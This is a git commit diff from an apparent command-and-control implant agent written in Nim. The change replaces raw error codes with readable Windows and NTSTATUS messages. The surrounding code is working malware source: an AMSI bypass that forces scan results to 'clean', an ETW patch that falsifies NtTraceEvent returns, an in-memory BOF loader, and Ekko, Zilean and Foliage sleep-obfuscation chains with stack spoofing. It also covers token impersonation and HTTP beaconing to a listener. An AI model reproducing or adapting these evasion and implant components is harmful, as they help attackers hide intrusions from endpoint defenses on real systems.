Implemented human-readable error messages for Windows API and Native API errors using FormatMessageW. Removed string obfuscation/protection when agent is built with verbose flag.
This commit is contained in:
@@ -19,14 +19,14 @@ import ../../common/[types, utils]
|
||||
proc amsiPatch(pThreadCtx: PCONTEXT) =
|
||||
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
|
||||
SETPARAM_6(pThreadCtx, cast[PULONG](0))
|
||||
print protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
|
||||
print " [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN"
|
||||
CONTINUE_EXECUTION(pThreadCtx)
|
||||
|
||||
proc etwPatch(pThreadCtx: PCONTEXT) =
|
||||
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
|
||||
pThreadCtx.Rsp += sizeof(PVOID)
|
||||
pThreadCtx.Rax = STATUS_SUCCESS
|
||||
print protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
|
||||
print " [+] Return value of NtTraceEvent set to STATUS_SUCCESS"
|
||||
CONTINUE_EXECUTION(pThreadCtx)
|
||||
|
||||
#[
|
||||
|
||||
@@ -149,12 +149,12 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID =
|
||||
if hModule == 0:
|
||||
hModule = LoadLibraryA(library)
|
||||
if hModule == 0:
|
||||
raise newException(CatchableError, fmt"Library {$library} not found.")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Resolve the function from the loaded library
|
||||
resolved = GetProcAddress(hModule, function)
|
||||
if resolved == NULL:
|
||||
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
print fmt" [>] {$symbol} @ 0x{resolved.repr}"
|
||||
|
||||
@@ -295,7 +295,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
||||
|
||||
# Change the memory protection from [RW-] to [R-X]
|
||||
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Execute BOF entry point
|
||||
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
||||
@@ -307,7 +307,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
||||
|
||||
# Revert the memory protection change
|
||||
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return true
|
||||
|
||||
@@ -332,7 +332,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
|
||||
var pObject = addr objectFile[0]
|
||||
if pObject == NULL or entryFunction == NULL:
|
||||
raise newException(CatchableError, "Arguments pObject and entryFunction are required.")
|
||||
raise newException(CatchableError, protect("Missing required arguments."))
|
||||
|
||||
# Parsing the object file's file header, symbol table and sections
|
||||
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
|
||||
@@ -347,10 +347,10 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
when defined(amd64):
|
||||
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||
raise newException(CatchableError, "Only x64 object files are supported")
|
||||
raise newException(CatchableError, protect("Only x64 object files are supported."))
|
||||
else:
|
||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||
raise newException(CatchableError, "Only x64 object files are supported")
|
||||
raise newException(CatchableError, protect("Only x64 object files are supported."))
|
||||
|
||||
# Calculate required virtual memory
|
||||
virtSize = objectVirtualSize(addr objCtx)
|
||||
@@ -360,14 +360,14 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
||||
if virtAddr == NULL:
|
||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: VirtualFree(virtAddr, 0, MEM_RELEASE)
|
||||
|
||||
# Allocate heap memory to store section map array
|
||||
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
||||
if objCtx.secMap == NULL:
|
||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
|
||||
|
||||
print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
||||
@@ -399,7 +399,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
||||
print "[*] Processing sections and performing relocations."
|
||||
if not objectProcessSection(addr objCtx):
|
||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||
raise newException(CatchableError, "Failed to process sections.")
|
||||
raise newException(CatchableError, protect("Failed to process sections."))
|
||||
|
||||
# Executing the object file
|
||||
print "[*] Executing."
|
||||
|
||||
@@ -39,7 +39,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
||||
|
||||
wipeKey(agentKeyPair.privateKey)
|
||||
|
||||
print protect("[+] Profile configuration deserialized.")
|
||||
print "[+] Profile configuration deserialized."
|
||||
return ctx
|
||||
|
||||
proc init*(T: type AgentCtx): AgentCtx =
|
||||
|
||||
@@ -71,7 +71,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
print protect("[-] "), err.msg
|
||||
echo "[-] ", err.msg
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
@@ -103,7 +103,7 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
||||
|
||||
except CatchableError as err:
|
||||
print protect("[-] "), err.msg
|
||||
print "[-] ", err.msg
|
||||
return false
|
||||
|
||||
finally:
|
||||
|
||||
@@ -34,8 +34,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
|
||||
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||
|
||||
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||
print protect("[!] GetThreadContext Failed: "), GetLastError()
|
||||
return false
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
case drx:
|
||||
of Dr0:
|
||||
@@ -60,8 +59,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
|
||||
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
|
||||
|
||||
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||
print protect("[!] SetThreadContext Failed: "), GetLastError()
|
||||
return false
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return true
|
||||
|
||||
@@ -70,8 +68,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
|
||||
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||
|
||||
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||
print protect("[!] GetThreadContext Failed: "), GetLastError()
|
||||
return false
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Remove the address of the hooked function from the thread context
|
||||
case drx:
|
||||
@@ -88,8 +85,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
|
||||
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
|
||||
|
||||
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||
print protect("[!] SetThreadContext Failed"), GetLastError()
|
||||
return false
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return true
|
||||
|
||||
@@ -197,7 +193,7 @@ proc initializeHardwareBPVariables*(): bool =
|
||||
# Add 'VectorHandler' as the VEH
|
||||
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
|
||||
if cast[int](g_VectorHandler) == 0:
|
||||
print protect("[!] AddVectoredExceptionHandler Failed")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
return false
|
||||
|
||||
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:
|
||||
|
||||
@@ -1,8 +1,13 @@
|
||||
import winim/lean
|
||||
import macros
|
||||
import strutils, strformat
|
||||
import ../../common/[types, utils]
|
||||
|
||||
const VERBOSE* {.booldefine.} = false
|
||||
|
||||
type
|
||||
RtlNtStatusToDosError = proc(status: NTSTATUS): DWORD {.stdcall.}
|
||||
|
||||
# Only print to console when VERBOSE mode is enabled
|
||||
template print*(args: varargs[untyped]): untyped =
|
||||
when defined(VERBOSE) and VERBOSE == true:
|
||||
@@ -12,6 +17,15 @@ template print*(args: varargs[untyped]): untyped =
|
||||
|
||||
# Convert Windows API error to readable value
|
||||
# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage
|
||||
proc getError*(errorCode: DWORD): string =
|
||||
var msg = newWString(512)
|
||||
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_IGNORE_INSERTS, NULL, errorCode, cast[DWORD](MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)), msg, cast[DWORD](msg.len()), NULL)
|
||||
msg.nullTerminate()
|
||||
return strip($msg) & fmt" ({$errorCode})"
|
||||
|
||||
# Convert NTSTATUS to readable value
|
||||
# https://ntdoc.m417z.com/rtlntstatustodoserror
|
||||
proc getNtError*(status: NTSTATUS): string =
|
||||
let pRtlNtStatusToDosError = cast[RtlNtStatusToDosError](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("RtlNtStatusToDosError")))
|
||||
let errorCode = pRtlNtStatusToDosError(status)
|
||||
return getError(errorCode)
|
||||
|
||||
@@ -95,11 +95,11 @@ proc GetRandomThreadCtx(): CONTEXT =
|
||||
# Create snapshot of all available threads
|
||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
|
||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: CloseHandle(hSnapshot)
|
||||
|
||||
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
|
||||
# Check if the thread belongs to the current process but is not the current thread
|
||||
@@ -118,7 +118,7 @@ proc GetRandomThreadCtx(): CONTEXT =
|
||||
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
|
||||
return ctx
|
||||
|
||||
print protect("[-] No suitable thread for stack duplication found.")
|
||||
print "[-] No suitable thread for stack duplication found."
|
||||
return ctx
|
||||
|
||||
#[
|
||||
@@ -144,41 +144,41 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
||||
# Create timer queue
|
||||
status = apis.RtlCreateTimerQueue(addr queue)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: discard apis.RtlDeleteTimerQueue(queue)
|
||||
|
||||
# Create events
|
||||
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventTimer)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventStart)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventEnd)
|
||||
|
||||
# Retrieve the initial thread context
|
||||
delay += 100
|
||||
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
||||
delay += 100
|
||||
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# Wait for events to finish before continuing
|
||||
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
if spoofStack:
|
||||
# Stack duplication
|
||||
@@ -192,7 +192,7 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
||||
if spoofStack:
|
||||
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hThread)
|
||||
|
||||
# Preparing the ROP chain
|
||||
@@ -278,19 +278,19 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
||||
|
||||
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation start.")
|
||||
print "[*] Sleep obfuscation start."
|
||||
|
||||
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation end.")
|
||||
print "[*] Sleep obfuscation end."
|
||||
|
||||
except CatchableError as err:
|
||||
sleep(sleepDelay)
|
||||
print protect("[-] "), err.msg
|
||||
print "[-] ", err.msg
|
||||
|
||||
|
||||
#[
|
||||
@@ -316,38 +316,38 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
||||
# Create events
|
||||
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventTimer)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventWait)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventStart)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventEnd)
|
||||
|
||||
delay += 100
|
||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
delay += 100
|
||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# Wait for events to finish before continuing
|
||||
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
if spoofStack:
|
||||
# Stack duplication
|
||||
@@ -361,7 +361,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
||||
if spoofStack:
|
||||
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hThread)
|
||||
|
||||
# Preparing the ROP chain
|
||||
@@ -446,19 +446,19 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
||||
delay += 100
|
||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation start.")
|
||||
print "[*] Sleep obfuscation start."
|
||||
|
||||
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation end.")
|
||||
print "[*] Sleep obfuscation end."
|
||||
|
||||
except CatchableError as err:
|
||||
sleep(sleepDelay)
|
||||
print protect("[-] "), err.msg
|
||||
print "[-] ", err.msg
|
||||
|
||||
|
||||
#[
|
||||
@@ -477,20 +477,20 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
||||
# Start synchronization event
|
||||
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventSync)
|
||||
|
||||
# Start suspended thread where the APC calls will be queued and executed
|
||||
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
print fmt"[*] [{hThread.repr}] Thread created "
|
||||
defer: CloseHandle(hThread)
|
||||
|
||||
ctxInit.ContextFlags = CONTEXT_FULL
|
||||
status = apis.NtGetContextThread(hThread, addr ctxInit)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
|
||||
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
|
||||
@@ -552,24 +552,24 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
||||
for i in 0 .. gadget:
|
||||
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# Start sleep obfuscation
|
||||
status = apis.NtAlertResumeThread(hThread, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation start.")
|
||||
print "[*] Sleep obfuscation start."
|
||||
|
||||
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation end.")
|
||||
print "[*] Sleep obfuscation end."
|
||||
|
||||
except CatchableError as err:
|
||||
sleep(sleepDelay)
|
||||
print protect("[-] "), err.msg
|
||||
print "[-] ", err.msg
|
||||
|
||||
# Sleep obfuscation implemented in various techniques
|
||||
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import winim/lean
|
||||
import strformat
|
||||
import ./io
|
||||
import ../../common/[types, utils]
|
||||
|
||||
#[
|
||||
@@ -65,7 +66,7 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
|
||||
if status != STATUS_SUCCESS:
|
||||
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
return hToken
|
||||
|
||||
@@ -111,7 +112,7 @@ proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: s
|
||||
|
||||
status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
let
|
||||
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
|
||||
@@ -127,16 +128,16 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
|
||||
|
||||
status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
|
||||
if pUser == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: LocalFree(cast[HLOCAL](pUser))
|
||||
|
||||
status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
||||
|
||||
@@ -148,7 +149,7 @@ proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
|
||||
|
||||
status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Elevation ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
return cast[bool](pElevation.TokenIsElevated)
|
||||
|
||||
@@ -160,16 +161,16 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
|
||||
|
||||
status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
|
||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength))
|
||||
if pGroups == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: LocalFree(cast[HLOCAL](pGroups))
|
||||
|
||||
status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [2] ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
let
|
||||
groupCount = pGroups.GroupCount
|
||||
@@ -187,16 +188,16 @@ proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
|
||||
|
||||
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
|
||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength))
|
||||
if pPrivileges == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: LocalFree(cast[HLOCAL](pPrivileges))
|
||||
|
||||
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [2] ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
let
|
||||
privCount = pPrivileges.PrivilegeCount
|
||||
@@ -254,7 +255,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
|
||||
|
||||
status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtDuplicateToken ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
else:
|
||||
# Use the original token if it is already an impersonation token
|
||||
@@ -263,7 +264,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
|
||||
# Impersonate the token in the current thread (ImpersonateLoggedOnUser)
|
||||
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE)))
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtSetInformationThread ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
defer: discard apis.NtClose(impersonationToken)
|
||||
|
||||
@@ -281,7 +282,7 @@ proc rev2self*() =
|
||||
